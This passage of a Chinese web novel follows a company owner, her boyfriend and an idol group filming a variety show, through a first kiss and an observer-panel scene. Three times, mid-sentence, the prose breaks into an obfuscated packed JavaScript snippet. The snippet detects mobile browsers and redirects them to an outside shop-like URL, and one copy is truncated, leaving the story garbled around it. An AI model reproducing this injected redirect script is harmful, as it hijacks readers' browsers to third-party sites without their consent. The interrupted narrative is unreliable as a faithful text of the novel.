晏川还没开口,立刻被正装男和蓝发男一左一右夹住,站在一边。墨蓝色头发的帅哥显然想说什么,结果就像鱼吐泡泡一样咕噜一串,他根本没听清。 正装眼镜男吐字就清晰多了:“看。” ……看什么? 晏川左右扫了扫两人仿佛恶作剧得逞的表情,尤其是正装男,看似一本正经,实际上嘴角都快抽筋了。 他直觉不妙,正准备挣脱,那个拿着塑料花的金发帅哥就径直对着牧阳跪了下来! 双膝跪地的一瞬间,牧阳立刻往旁边侧了侧:“小谷?!不必行此大礼……” 被叫“小谷”的金发帅哥立刻支起一条腿,改成单膝跪地的姿势,把花举在手里:“不不不,老板!你听我解释。” 牧阳抿了抿嘴唇,把声音放柔和了:“怎么了?” 晏川刚走出去半步,正装男大喝一声:“麟麟!” 他右边的墨蓝色头发帅哥立刻扣紧了他的胳膊,不让他往前。 这片刻的功夫,又增援了两个摄像,一个对准了他们仨,另个一个干脆就站在牧阳身侧,镜头对准地上的“小谷”,专门拍他的特写。 金发帅哥也不负众望,快速说道:“其实我……我喜欢你很久了……真的,真的,一直都很喜欢你,咳,您,从很早以前,第一次见面我就在想……我觉得呃,您是个很特别的……您,您愿意接受我的心意吗?” 正装男:“词没说全!” 牧阳已经笑出声了。她迅速捂住嘴,忍下笑意,轻咳一声:“不愿意。我有男朋友了。” 话音刚落,金发男子那条腿再也支撑不住,往旁边一歪就要昏厥:“救救我,救救我……” 正装男立刻甩下晏川,大步朝着地上的金发帅哥走过去:“谷飞光,out!下一个,小喻!” 什么小喻?这下晏川站不住了,他看向旁边的墨蓝色头发帅哥:“还有下一个?!” 墨蓝色头发帅哥含混:“呃啊啊……” 然而门内的人动作更快。 绛色挑染的帅哥靠在门边,嘴里叼着一朵明显精致两倍,看起来像商店可售成品的塑料花:“好久不见呀,大美人。” 牧阳没绷住,放下手笑出声来。 这位浮夸的小帅哥把花拿在手里,另一手撑着墙壁,立刻换了个姿势,把还在笑的牧阳壁咚到墙边。 “哇,哇,这,他怎么这么会!”被正装男拎着的金发帅哥谷飞光吃惊地大叫。 墨蓝色头发的“麟麟”也是吃惊不已:“帅啊。” 牧阳倒是看懂了,这位明显有意借灯光和墙面摆个造型,于是配合地往后靠了靠,接戏:“怎么了,你也想告白?” 帅哥笑了笑,塑料花贴在她脸边,若有若无地靠近。 “向您表达我的爱意罢了,”帅哥低声说,“其实,人家,已经喜欢你很久了。从很早以前就爱您爱得不行,人家这么可爱,您怎么忍得下心来不理人家的?真是的,你这个……大灰狼!你愿意接受人家的心意吗?” 说出“大灰狼”三个字的时候,牧阳直接没忍住从墙角滑下去了,偏偏这个绛色挑染的帅哥信念感极强,竟然还坚持说完了全部的台词。 旁边的另外三个成员早就笑出毁天灭地的笑声了,他竟然还很有信念感地配合着半蹲,问笑弯了腰的牧阳:“老板老板,你快说我愿意。” 牧阳还在笑。忽然一个人凑了过来,挡住牧阳,拦在他前面:“刚刚那个人怎么失败的,你没听见?她说她有男朋友了。” “那咋了?”没想到这个帅哥反应还挺快,竟然灵活地往旁边一躲,“我要听她亲自说!你说了不算。” 晏川就像一堵墙,非要阻挡帅哥和牧阳之间的视线。帅哥身姿灵活,像一条蛇探头探脑,还有意玩梗:“老板,我都不介意你有男朋友,你男朋友却介意我喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992427|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢你,我俩谁的心更诚,难道你还看不出来吗?” “你……”晏川想上手把这个人按住,但这个时候他们四个人的“团魂”竟然莫名其妙燃了起来,正装男一声令下。 “救小喻!” 于是另外两人立刻冲过来,一左一右夹住小喻,墨蓝色头发那位还很有创意地呜咽一声:“老板,你不要钓着小喻啊!” 帅哥立刻来了个“起死回生”,挣脱队友,朝牧阳伸手:“老板!我要听你亲口说!” 牧阳从晏川身后探出头来,吓了一跳:“你们搞这么大?” “不好!”金发男看牧阳要松口,竟然转头攻击队友,“打小三!哥,我替你打死他!” 晏川:“……” 他还没发话呢,那四个人竟然混战起来,长条充气棒都要舞起来了。 “好了好了,都住手!”牧阳赶紧制止这场闹剧,“全部站好,立正!” 结果这四个人还没从地上爬起来,晏川先下意识站直了,看向她。 牧阳看看站到一旁的晏川,再看看刚爬起来就带着另外两个摔下去的男团偶像:“……” 好不容易四个人都站直了,牧阳才开口:“LUMEN走到今天,你们的努力,大家都看在眼里。你们的心意,还是留给一直陪伴你们的粉丝们吧。我这边呢,就免了。” 说完,她得意地挽住自己身边的晏川:“没看到我男朋友吗?你们再这样逗他,他要伤心了。” 晏川配合地低下头,任由牧阳蹂躏他的头发。就算没有阳光,她还是像太阳一样耀眼。 牧阳也觉得比起这四只野狗,晏川实在顺眼多了,满意地顺完毛,心情也更好。于是她牵过晏川,给两边做介绍。 “这是LUMEN,我们沐阳娱乐的光芒少年团。”牧阳先介绍这四个人,“这位是队长,葛玉龙。” 正装男很礼貌地点了下头,和晏川握手。 “这位是祝锦麟,麟麟。”墨蓝色头发的帅哥点了下头,忽然一下高冷起来。 晏川也握手。 “谷飞光。”牧阳继续介绍。 金发的帅哥挥了挥手,晏川也很有礼貌地挥手。 “喻……” “我是喻兰笑。”绛色挑染的帅哥主动伸手,“你好呀,老板的男朋友。” “你好。”晏川回握。 “这是我男朋友晏川。”牧阳介绍晏川。 喻兰笑打量了一会晏川的脸,忽然转头调侃道:“姐,你该不会有了男主人,就不管我们这个家了吧。” “小喻!”牧阳没忍住斥他一声,“说什么呢,刚刚的这一出怎么回事?光天化日,整蛊同事!” 小喻。 晏川的瞳孔骤然一缩,终于想起这一声为什么这么耳熟了。 “新能源的车怎么样?小喻当初发过我一个车牌,叫什么来着……”那个时候在山洞里,她开玩笑的时候提到过! 这个小喻,难道就是那个小喻?! 37. 【三七】 “抱歉老板!抱歉老板郎!我们不是故意的,我们在录团综。”队长葛玉龙率先开口,低头为两人解释,“快,我们道歉。” “对不起!”四个人干脆利落地一起鞠躬。 牧阳看向晏川,晏川只是看她。 “行了,没事,大概也猜到了,知道你们是开玩笑的。”牧阳耸肩笑了笑,朝着镜头摆摆手。 “我们在做挑战任务。”金发的谷飞光撇嘴,“挑战失败了。” “唉,没想到来者竟是大老板,伤了我们两个少男心。”喻兰笑还夸张地做了个西施捧心的动作。 晏川借机打量他。如果说金发的谷飞光像阳光下的麦穗,那这个绛色挑染的喻兰笑,显然就是一朵盛开的山茶花。晏川不着痕迹地扫了一眼他的衣服,发现喻兰笑看起来一点皮肤都没露,但穿的是极为贴身的黑色打底衫,纤细的身材尽显无疑。 “所以你们本来挑战成功打算干什么?”牧阳觉得好笑。 “我们挑战成功,龙龙和麟麟表演猴子。”谷飞光主动插话。 “可是你们失败了。” “所以我和小谷要一起扮演企鹅了。”喻兰笑搂过谷飞光的脖子,“走吧走吧,接受惩罚。” “怎么感觉小喻接受惩罚也这么高兴啊。”牧阳调侃道。 葛玉龙一推眼镜:“他本来就想跳。” “跳?”牧阳捕捉到关键词。 “企鹅跳舞,高雅人士!”喻兰笑走过牧阳身边,停了下来,忽然邀请道,“其实很可爱的!让老板郎跟我们一起跳吧!” 旁边的谷飞光大惊失色,然而喻兰笑还和不怕死一样,看了晏川一眼,接着又对牧阳眨眨眼:“老板你也可以一起来欣赏呀!” 谷飞光无法阻拦队友发疯,知道没救了,于是眼巴巴求上晏川:“可以吗?哥哥。”像在盼救星。 牧阳观察晏川的脸色。 晏川看起来一点也不生气,而且他好像也不茫然,仿佛他知道他们要干什么一样:“好啊。” “哥……”谷飞光眼泪汪汪地要和晏川握手。 晏川却望向站在一边的另外两位成员:“只有你们两个需要跳吗?你们不是一个团的吗?” 谷飞光也不握手了,两手顺势抓上晏川的袖子,立刻倒戈:“老板郎都开口了,你们两个还不配合!队长,你也来跳!” “倒倒倒、倒反天罡!”祝锦麟急了,“队长,你管管他!” 葛玉龙轻咳一声:“一起跳吧。老板都带老板郎来了。” 谷飞光立刻欢呼:“耶!” “队长!”祝锦麟似乎是真的不想做这个惩罚任务。 “咳,只此一次,下不为例。”葛玉龙一本正经道,“老板,我们这次不是任务,我们就是给老板郎伴舞。” “对对对。”谷飞光也赶紧点头。 喻兰笑拍他一下,又正了正神色:“我俩不是,我俩要完成任务。” “哦哦哦。”谷飞光立刻摇头。 喻兰笑问晏川:“真跳吗?” 晏川反问他:“为什么不能?” 牧阳看了看他们:“先进去吧,别都待在门口了,没空调不热吗?”把四个人都劝进去。 她拉住往里走的晏川,小声问他:“他们说的那个你真能跳?这段要播的。” 他不跳这一段也可以重录的,来得及。 晏川摇摇头:“很简单的,就是小企鹅跳舞。” “小企鹅跳舞。”牧阳复述一遍。 “对,”他垂眼笑了一下,“等着看吧。” 不知道这个“小企鹅跳舞”是什么章程,但能作为惩罚任务,应该还挺有意思的。牧阳显然也很感兴趣,于是问旁边的编导:“真让他们这么搞啊?这个企鹅跳舞是什么,能不能给我看看。” 旁边的编导自然是掏出手机,熟练地找到最新收藏,给老板看“高雅人士”企鹅跳舞的视频动画。 另一边,晏川问攒在一起簇拥着他,要和他排舞的四个男偶像:“从刚才我就想问,‘老板郎’是什么东西?” “老板郎就是你,你就是老板郎啊。”谷飞光理所当然道。 “老板的老婆是老板娘,你是男的。”祝锦麟解释。 葛玉龙无奈地一抬眼镜:“别管那两个文盲了,他们说话就这样。我们来排动作吧?小喻,你去前面示范。” 晏川倒是不理会这位队长的糊弄:“我记得这个最早就是你先喊的。” 葛玉龙笑笑:“有吗?别在意那些细节了,我们抓紧时间排练吧。上动作!” “好嘞好嘞——大家看过来,我要开始跳了啊。”喻兰笑的声音从四人的前方传来。 五人面前的镜子里,喻兰笑一马当前,十分满意地打量镜子里的自己。他确认了自己的状态,余光又对上晏川盯着他的视线,忽然回过头,朝晏川做了个极其敷衍的飞吻。 其他三个队友很不满地翻白眼,还发出“啧”声和嘘声。 “干嘛,”喻兰笑当然不管他们,只是歪头朝着晏川笑,“帅哥,看我。” 晏川不为所动:“在看呢。” 喻兰笑一顿,慢悠悠地收回手指:“其实啊,帅哥,我们是在恭维你呢。你现在是有名分,播出的时候,可不一定啊。” “喻兰笑!话别乱说!”葛玉龙立刻板起脸打断他。 就算是玩笑,这句话显然也太过火。 这位“小喻”依然嬉皮笑脸,被训了也只是一个大转身,开始热身:“哈哈哈,开玩笑啦。小晏哥这种高材生,怎么会和我一般计较。” 镜子里的晏川眼也不眨地盯着他,直叫喻兰笑心里发毛。 然后只这一瞬,就在牧阳转头的前一秒,这位“高材生”便立刻摆出一副楚楚可怜的表情,轻声笑着说:“哥哥出道这么多年,还是团里的主舞,有你这么厉害的老师教,我今天是沾了光了。” 喻兰笑一声不吭,开始做动作示范。 牧阳看完视频,再看喻兰笑的动作指导,点点头,问身边人:“他们还要排多久?” “这个很快,跳一下就过去了,我们还有下一个流程。”团综的策划得知来的是老板,早就在一旁陪着。 牧阳:“帮忙看一下,要是他们跳完我还没回来就飞书找我,我先去接个电话。” 她走出团综的录制厅,快步走到走廊尽头,打了个电话出去:“公司现在的预备团,还有LUMEN的近况都汇总整理一下发给我,尽快。”挂断电话,她深吸一口气。 喻兰笑挂冷汗了。 三遍,他们四个人各有失误,晏川却像早就学过似的,直接把那小企鹅的动作复制下来,惟妙惟肖,甚至连表情管理都非常到位,优雅又松弛。 “小喻你回来吧,我们直接录,要进下一个环节了。”葛玉龙看到工作人员打手势,立刻出声提醒。 “嗯。”喻兰笑往后退。 晏川问他:“换曲的时候换位置?” “不换了。”喻兰笑淡淡道,“还得靠你带我们呢,小川哥。” 晏川没说话,也没理他。看牧阳匆匆回来,他那连着心脏的眼睛早就跟了过去。刚刚他就在担心,牧阳不是要看他们排练跳舞吗? 怎么才看了一会就走。也不知道她去了哪里。 牧阳一进来就和晏川对上了视线。然而她的心情已经平静多了,此刻正从容地和导演策划聊着天,套了套目前的进度,继而不慌不忙地收起手机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992428|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又认真专注地看向他们。 晏川显然对自己要求挺高,平时肯定是练过,哪怕站在顶流男团中间体态气质也不会输。不过,有点滑稽的是,就算学企鹅,他也跳得太过一丝不苟,好像这是一场考试。 牧阳问身边的策划:“晏川看起来是不是有点紧张。” 策划安慰她:“紧张是正常的,他是素人吧?这样的表现已经很厉害了。” 牧阳点点头:“我也这样想。可能多上几个节目能好一点?” 策划脑子里已经转了好几道弯:“……可以和节目组说,以后多给他一些反应时间,其实我看刚才他和他们一起排练的时候,已经有点进入状态了。” “他们处得好吗?”牧阳问策划。 策划笑了一下:“还行。” 牧阳知道是很不好的意思:“LUMEN发展到现在,连小谷都这么大了。晏川比他们年纪都小。” “这样更成熟嘛,而且有养成系的感觉,粉丝们都喜欢。”策划立刻道。 牧阳点点头:“平时忙不忙。” “这样的工作节奏刚刚好。”策划这句话立刻真心实意了不少,“就是经费……” “那你和导演说,让她和财务说一声。”牧阳拍拍她的肩,“到时候你们申请备用金。”她说完就往场地中间走,方便摄像拍摄全景。 镜头还在,第一遍录制也当练习了,现在是第二遍,也就是正式的录制。 LUMEN成员显然很习惯镜头,镜头是否存在对他们根本没有影响。四个人反而因为多练了一遍,熟练度继续上升。而晏川,不知道是因为牧阳在盯着他看,还是因为多个机位在附近打转,表现变得没有开始排练时那么轻松,第二遍才稍微流畅一些。 “完美!”祝锦麟对自己的跳舞水平要求不高,这一遍超常发挥,更是满意地举起拳头。 只是这拳头刚举起来,他就意识到不对。然而旁边的晏川已经开始鼓掌:“太厉害了。” 葛玉龙连忙说:“你也很厉害啊!小哥哥好有天赋。” 于是五个人开始商业互吹,牧阳直接走过来,挽住晏川的胳膊:“你们,继续。他,我就带走了。” “老板早点下班啊。”喻兰笑还有心情开玩笑。 牧阳随意挥挥手,和工作人员打完招呼,拉着晏川出去。 晏川耷拉着脑袋,一声不吭地闷头跟着她,显然在恼火自己的表现。 牧阳只是一直往前走,好像没注意到他的情绪似的,嘴上却低声说:“如果你实在难受,我可以联系他们补录。”男团的团综卖的本来就是男团本身,突然出现的嘉宾只是偶然制造的小插曲。于情于理,录制都要以LUMEN为中心。晏川录制时的表现虽然没有失误,甚至已经算得上优秀,但临时充入男团众人中间,只能更加突出LUMEN这些年积累的业务能力。 晏川有些惶恐:“我……” “因为这是我们公司出品的综艺,团队都是自家人,很多时候很多事情,确实是一句话能解决的事儿。”牧阳按下电梯,“但在外面不是这样。” 她转头看着他,神情难得严肃:“如果你想继续在这行混,就只能不断提高自己的业务水平,同时,适当降低对自己的标准,不要苛求每次都表现完美。这种心态也是业务的一环。” 晏川听出了她言语中的提点之意,忽然一惊,嘴巴翕动却一句话也说不出来。 牧阳先一步走进电梯,晏川连忙跟上。他顾不上其他,急忙道歉:“对不起,我会注意的。” “真没事,你表现已经很好了。”牧阳捏捏他的耳朵,“脸皮这么薄?他们调侃你是正常的,你明面上身份就是我的官宣男友,架子大一点也是正常的。” 38. 【三八】 晏川的耳根早在被LUMEN众人起哄“老板郎”的时候就红了,只是后面渐渐淡下去,但始终没有完全消退。牧阳手指一戳,耳根又开始自顾自加血。 牧阳看着越来越深的红色,若有所思:“下次还是别让他们这么叫了。” “没,没事。”晏川眼神躲闪,却不反驳,看起来更像是害羞得厉害。 牧阳定定看着他,半晌,忽然幽幽冒出一句:“你是不是还挺爽的。” 晏川蓦地抬头,他刚准备说话,电梯门就开了。 没到他们的楼层。门口戴眼镜的中年人愣了一下,立刻挤进来:“诶,你们好。” 牧阳先一步打招呼:“唐晞回来了?” 跟着中年人一起挤进电梯的果然还有其他助理,以及被他们簇拥的唐晞。 唐晞见到牧阳,也很礼貌地打招呼:“老板。” 他看到晏川,也只是礼貌地点了一下头,没有多问或多认识一下的意思。晏川也识趣地没有说话,只是朝他点了一下头。 牧阳更是没再多说什么,电梯里一片安静。晏川观察这位当红艺人,发现他眼下一片青黑,不知道是眼眶轮廓太深还是过于疲劳,导致黑眼圈实在浓重。唐晞和刚刚见到的LUMEN男团四个人都不同,那四个人虽然妆感比较阴冷,有一种“西方龙”的气质,但他们的实际表现却是积极向上的;唐晞的造型有一种年轻、蓬勃的朝气,但本人似乎极为内敛沉静,此刻还有一种难掩的疲惫。 到了楼层,唐晞的团队就先出去了。 晏川眼睁睁看着电梯再次上升,牧阳一声不吭地走出去,他才反应过来,立刻撑住又要关门的电梯,跟紧她的脚步,嘴上还狡辩:“哪有,明明是你先纵容他们的。” 牧阳也没有因为刚刚的小插曲忘了他们的对话,当下便不客气道:“他们经过专业的训练,就算我牵过去的是一条狗,他们也会仔细捧着。” 她语气一顿,忽然话锋一转,又很温和地开口:“其实你基础真的不错。平时练什么?” 晏川听到她提问,下意识答道:“没什么,就一些基础训练,我一般就是自己练一练,上大学才开始和室友拼健身房的年卡。” “纯自学?” 晏川点点头,想了想又说:“网上也有很多教程。” 牧阳也赞同:“现在网上什么教程都有,还是需要人自律,练得多自然有成效。” 两人回到牧阳办公室那一层,正好碰到刚从茶水间出来的姬慧:“老板!你们回来了。” 牧阳点头,姬慧又说:“资料都放在您办公桌上了,Lisa说她发了您邮箱。” “知道了。”牧阳继续往前走,晏川经过自己的工位想停,没想到牧阳拉着他的力度没变,他脚步一顿,她还奇怪地看了他一眼。 晏川走回牧阳身边,跟着她去了她办公室。 牧阳推门进去就指着自己那个水杯:“你去倒水,顺便帮我接一杯热的再回来。” 晏川拿了水杯,她又补充:“温的。” “好的。”晏川点头,“65度?” 牧阳惊讶。她甚至想问他是不是会读心术,晏川已经半掩着门,轻声出去了。 虽然觉得神奇,但她也没太当回事。接连看完几位经纪人整理好的报告,晏川就回来了。她一手抱起电脑,一手按了开关,拉下办公室的帘子。 看到晏川手里除了她那个小丑狗,还有一只是公司的普通纸杯,她问:“你有没有杯子?” “没有这种的,”晏川说,“只有平时带的折叠水杯。” 牧阳看过别人带那种杯子:“好用吗?” “不太好用,将就吧。”晏川实话实说,“那个杯子是以前同学送的。” 牧阳看看自己的小丑狗和晏川的纸杯:“你到时候自己买一个被子,发票留着报给公司。” 晏川被她拍了一下,又被她拽住,往沙发上拉。 “坐。”牧阳抱着电脑坐下来,把页面指给他看,“这是我们年底打算推出的新团,主打概念是国风,作品设计中会大量融入国风电子元素。” 晏川心头直跳。沐阳娱乐接下来的业务布局,自然是明煊娱乐想知道的内容。 牧阳好像一点也不见外一般,给他介绍了这个团接下来的发展规划,末了又说一句:“怎么样,你还满意吗?” 晏川不明所以地看着她:“什么?” “你有基础,现在流量也有了,但如果想出道当明星,还是需要培训一段时间。”牧阳笑着说,“后续你也不用担心曝光的问题,这半年我们可以给你量身定制课程,也可以配合你的学业。” “……我要出道吗?”晏川茫然地看着牧阳准备的PPT,视线再次转到身边的她身上。 牧阳疑惑:“你不想当偶像,那是想当演员?还是纯歌手?也不是不行——” “我不想出道!”晏川连忙拒绝,“我不要当明星!” 他声音太大了,以至于说完之后,感觉不止这间办公室,似乎整层楼的空气都安静下来。他甚至都以为他要听到灰尘落地的声音了。 “那你这又是做什么呢?”牧阳完全不理解他为什么突然这么生气,电脑一放就站起来,“如果你有自己的规划,你可以和我沟通啊?” “我告诉过你啊,”晏川抬头看着她,“我不想出道,不想当明星,我只想陪在你身边。” 牧阳快被他气笑了,懊恼地盯着他:“你接近我,一开始说不抗拒上镜,真到节目里又那么喜欢表现自己。” “我那是——” “素人不擅长在镜头前表现自己,很正常,这倒也罢了。刚刚呢?我看你倒是竞争心切。策划都和我说了,你和小喻关系闹得很僵。” 她的手搭在他肩上,欺近身的时候,晏川先闻到的是她身上的香味。 再接着,他就不可避免,不可躲闪地落入她那探究的,甚至有些怜悯的目光:“你不会以为和我假戏真做,就能一劳永逸了吧?” 晏川的喉结下意识滚咽了一下,视线落在她一张一合的红唇上。 近在咫尺的距离。 “哦,或者你只是希望以后轻松点?”牧阳还在笑,“不可能的,我现在可以自愿赠与你一些财物,当然是因为事先有约定,如果你真的是我男朋……唔……” 晏川反应过来的时候,自己的手已经扣在她的肩上,拉着她往自己身上坐。 嘴唇捉住她那些连敲带打,调侃又威胁的话。 他放开她的肩,手指撩过她的头发,抚上她的耳后,托着她,捕捉她。 他早就想这样吻她了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992429|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比他以为的还要早,比他们重逢的那场雨幕还要早。这个吻迅疾、湿润,甚至因为他不得章法的动作带了些撕咬的意味。他闭着眼睛,不敢看她的神色,就像逃避她言辞里的那些可能性一样,他不畏她对他可能的贬损,可是,他不能接受她误解他的心意。 她肯定是把他当成那种为了钱财而来的男孩了,而且她说得那么严厉,显然经常需要应付这种事,所以十分熟稔……想来她身边这样的人很多了…… 他的心里好像泡了一团酸水,被她轻轻捏着就挤出来,淋了两个人都是一身狼狈。 不,不能这样,不能。 他其实没资格做这样的事。 理智逐渐回笼,晏川自觉逾矩,想要撤出一些距离。然而,就在他后退的片刻,一只手贴着他的脸颊,指腹沿着他的唇角,轻柔地拂过他的脸颊,虽然轻巧,但是迅捷。 她的手指钻入他的发间,沿着耳廓划到脑后,扣着他的脑袋,抚过他的头顶。她的另一只手按在他肩上,不自觉地用力,他只觉得还不够重,不够真实。 急切的吻,气息仓促交织,两人唇齿接触时,仿佛还能嗅到彼此鼓噪不安,搏动颤抖的心跳。 半晌,她主动分开,看着两人之间那一缕银丝顺着他的嘴角流下。 晏川慌忙伸手拿纸去擦。 牧阳慢吞吞从他身上挪开了,视线转到已经熄屏的电脑上,看到黑色屏幕倒映出来的自己:“……你刚才在茶水间喝什么了?” 感谢屏幕单一的颜色,只能映出她发亮的瞳孔,照不见两颊的绯色。 “咳……燕麦热可可。”晏川轻咳一声,低声解释,“我就泡了一点点,尝尝味道。” 她没说话,他连忙补充:“我只是有点好奇。” 牧阳发现自己声音微哑,果断掀开杯盖,喝了一口温开水:“喝就喝了,怎么不知道给我也倒一杯。” “你很喜欢?”他问。 “……总不能一直喝这个吧。”牧阳知道是被拆穿了,没好气地瞪他一眼。 晏川只是无声地离她更近一步,贴着她坐:“我真的只是喜欢你,想和你在一起,不可以吗?” “可以是可以,和你谈是我赚,”牧阳意有所指地扫了一眼,刚才她的感受不可谓不实在,“但是总觉得不安心啊。你不图名利,只想和我在一起?我上辈子救过你?” “你这辈子救过我!”听到这话,晏川立刻就说,“真的。我可以发誓。” 他甚至真的要竖起手指发誓了,牧阳轻笑一声,摇摇头:“谎话连篇,所求甚大。我看看你到底想要什么。” 她的手指点在他的鼻尖,就和定身术一样,把还要凑上前发誓的他定在原处了。 牧阳不再理他,低头按亮屏幕,关掉那个成团概念PPT。一边关,她还一边念念有词:“你可要想明白了,这种机遇真的不多……” “我很明白。”一只手试探着贴过来,见她没有反应,于是得寸进尺,揽过她的腰。 晏川这下几乎是完全挨着她,半个身子都要贴在她后背了。 “我只要你真的愿意和我在一起就好。” 他另一只手搂住她的肩膀,将下巴搁在她的肩窝上,十足十的撒娇:“我们在一起,不好吗?我什么也不要,你不会吃亏的。” 39. 【三九】 “色令智昏啊,”牧阳拍拍他的手,示意他认真点,“你不想出道就算了,接下来我们谈正事。” 然而身侧的小狗根本听不进去。搂住她肩膀的手被打开了,勾着腰肢的手又蠢蠢欲动,趁她翻找文件的功夫,指腹沿着她的腰窝轻轻点着,轻快得几乎要让人忽略不计,偏偏又有着那么强烈的存在感。 牧阳被他摸得腰都要软了,不得不转头瞪向他:“你干什么!” 晏川一脸无辜地看着她,手上小动作没有了,但是也没有放开她的腰。 牧阳继续瞪着他,一句话也不说。 晏川慢慢放开手,把两只手都举了起来。 她深吸一口气,努力让注意力集中回屏幕上:“来,看小春刚给发我的活动流程。开放观察日,我们作为被观察的情侣嘉宾,要和观察团的嘉宾们进行自由式交流,会有一些互动问答,还有小游戏的环节。这一天的内容是重头戏,必须好好表现。” 晏川点点头,表示自己听进去了。 牧阳观察他的表情,确定他是真的在认真听,才微微放下心来,将页面往下移:“……到时候,江百川也会在。” 观察室内。 “安老师好!” “你好你好,欢迎大美女!” “言言,我是你的粉丝!” “啊啊啊宝宝!我看了你的脱口秀!来财!” “哈哈,来财来财。” 三位早来的嘉宾互相打着招呼,年轻的两个女孩又主动和坐在最旁边的教授问好,这才并在一起落座。 “欢迎大家回到为期一周的旅行。我是‘周旅’的好朋友安释恒,今年四十二岁,截至目前,已经单身,整整十四年了。”作为核桃卫视的老牌主持人之一,安释恒台风很稳,轻松地念完口播,就开始和大家自我介绍。 “安老师去年还是单身十三年,今年就十四年了。”开口的就是那名坐在最右边的中年女性,语气温和带了些调侃。 “哈哈哈,去年刚认识费老师的时候,费老师说话就这么一针见血,专往人心痛处扎呀。”安释恒笑道。 费姵玫和安释恒一样,都是第一季《为期一周的旅行》就请过的观察团老嘉宾。由于两人观察细致,发言中肯,比较受到观众好评,在这一季基本上已被节目组默认为常驻组合,以后估计每季都少不了他们。既然两人要长期合作,关系自然就亲密了很多,互相也能开不少其他嘉宾不太合适的玩笑。 作为心理学教授,费姵玫没有多强调介绍自己的意愿,估计后期会以花字的形式标注她的身份。 相比起来,需要通告费和曝光量的漂亮女艺人就活泼多了。 “大家好,我是温言,今年二十六岁,恋龄一年。”被安喊成大美女的温言率先和摄影机打起了招呼。 “言言今年怎么想到要来做我们‘周旅’的观察嘉宾呀?”安释恒笑着问。 “哈哈,当然是好奇呀,毕竟我在恋爱这一块也是个新人,想要学习其他‘恋人’的经验,提高‘恋商’。”温言诚恳道。 “可是我看你简直是恋爱高手啊,你两周前刚发布的新专辑不是叫《芳心猎手》吗?听得我一把年纪了都觉得小鹿乱撞啊。” “你自己心痒痒,还怪人家唱出来。”费姵玫可不惯着他。 “讨厌!”安释恒做作地摆手。 “言言也许就是想谦虚一下。”另外一位女脱口秀演员弱弱道。 安释恒立刻接梗道:“是我普信了。来财姐,教教我们这些丈育怎么搞钱吧。” 被称为“来财姐”的脱口秀女演员,钱莱连忙摆手:“搞钱?我不会。我来这里可是来看大明星的!大美女坐我左边,大帅哥坐我右边。” 听到这话,安释恒立刻自觉地移出去一个身位。 温言立刻大笑起来:“安老师!你躲什么啊!” 费姵玫:“他现在这把年纪,只能算个‘中登’了,当然要让位给真正的大帅哥。” 温言:“真的有大帅哥?” 节目组也很配合,连忙引导两位男嘉宾出场。走在前面的鲜嫩弟弟炫酷地对着镜头一顿耍帅,接着走出镜头。而他身后的那个男人从容自若,甚至还戴着墨镜,看到镜头也只是微微一笑,却莫名吸引人的目光。他不紧不慢,甚至堪称无为,却瞬间将前面的弟弟衬托得幼稚而浮躁。 四位坐着的嘉宾当然是很捧场地鼓掌。 费姵玫私下见过江百川一次,此时抵抗力已经有所增强;温言出道日久,尚且还有几分淑女的矜持;钱莱此刻连眼睛都不会转了,一时呆呆地看着站在她面前,慢慢摘下眼镜的帅哥,张开口,话都说不出来。 “你好,”江百川很温柔地伸出手,“来财姐。” “江……江百川……天呐……”钱莱激动地两只手都递了出来,江百川也很给面子,也把另一只手交出来,两人四手握了握。 温言凑到费姵玫耳边,极小声道:“他真人颜值真的好高。” 费姵玫点点头:“确实。” “你俩认亲啊?”看钱和江二人还不松手,安释恒无语地笑。 钱莱终于回过神,连忙对安释恒说:“还是你坐我旁边吧!” 安释恒:“啊?” 钱莱诚恳:“我怕他坐我旁边,我注意力集中不到屏幕上。” “那你的大帅哥……”安释恒比划了一下江百川和自己。 “出掉了!”钱莱急忙挥手。 大家又是一阵笑。 费姵玫打圆场:“人之常情。安老师,你和他换个位置吧。” 江百川这才露出一抹不好意思的神色:“给大家添麻烦了。” “没有没有!” “没有!” “怎么会!”安释恒挪回钱莱身边,有些不好意思道,“这下帅哥坐在我旁边,我心里惭愧呀。” “那安老师可以平时多锻炼,多保养,多学习。”钱莱看到安释恒,早就冷静下来了,此刻平静地调侃他。 安释恒:“……哎呀!你说得对!”顺便念了两条赞助商的口播广告,扬言自己今后要又运动又护肤。 “百川啊,欧黎弟弟,这两位都是后浪,要拍死我这个前浪了。”安释恒说,“这位,江百川,前段时间,刚拿过‘紫玉兰’!现在正是当打之年啊,最近有什么拍摄计划吗?” “感谢粉丝们的支持,最近有一部电影即将上映,希望能给大家之后的国庆假期带来新的体验。”江百川朝着镜头微笑。 